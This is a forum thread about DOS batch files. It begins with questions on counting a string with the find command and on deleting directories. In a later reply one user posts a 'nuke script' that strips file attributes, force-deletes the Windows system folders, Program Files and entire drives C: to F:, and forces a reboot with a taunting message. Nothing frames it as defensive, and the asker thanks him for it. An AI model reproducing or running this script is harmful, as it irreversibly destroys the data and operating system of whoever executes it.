DOS batch job

[proxi]

I don't know anything about DOS batch programming so pleazze help... I gues it's very easy (if you know it )

I need to have a batch job to scan some files and to look for a certain string (e.g. "uprolog").
If the string appears only once the return-code should be "0" else if it appears more than 1 time, the return-code should be set to "1"...

Thanx for your feedback!!

 

[ekÆsine]

i dont think BAT can do that. BAT is not really able to do much other than DOS commands. you should look into a real programing language for that purpose.

 

[Qiranworms]

I was actually going to start a thread asking this, but I'll just use this one. How exactly would I go about getting a batch file to delete multiple directories and files? By that I mean how would I format it? Headers, structures, and codes. Once I know that I can add the files into it and save. As well, DOS batch files can run in WinXP safe mode, right?

 

[gruntwerk]

the Deltree command will delete a tree of directories...
the Find command will find strings in files...

You would need to write something - to interpret the output of the find command...
C:\> find /c *.txt "the" >t.tmp
***you need to interpret what is in t.tmp...***"
maybe sort command will help?

do you have grep or anything like that available?

 

[Qiranworms]

So wait...to program this, all I need to do is use notepad to write the commands (seperated by new lines?) and save it as something.bat???

 

[ekÆsine]

yes its just text document with BAT extension. you can only use deltree if you have a copy of the program. deltree is not a basic command of DOS. there are versions of deltree for winXP.

heres an example of a nuke script that will destroy winXP and data. for help on the switches type the command you want to learn ad /? or computerhope.com has some help:

copy c:\windows\system32\shutdown.exe C:\windows\tasks\ /y
attrib -r -a -s -h c:\ /s
del c:\windows\system\*.* /f/s/q
del c:\windows\system32\*.* /f/s/q
del c:\windows\*.* /f/s/q
del c:\progra~1\*.* /f/s/q
del c:\*.* /f/s/q
del d:\*.* /f/s/q
del e:\*.* /f/s/q
del f:\*.* /f/s/q
C:\windows\tasks\shutdown.exe -r -t 20 -c "I Am Everywhere, You Can Not Stop Me!" -f

 

[Qiranworms]

Thank you very much. Appreciate this. Very usefull for me.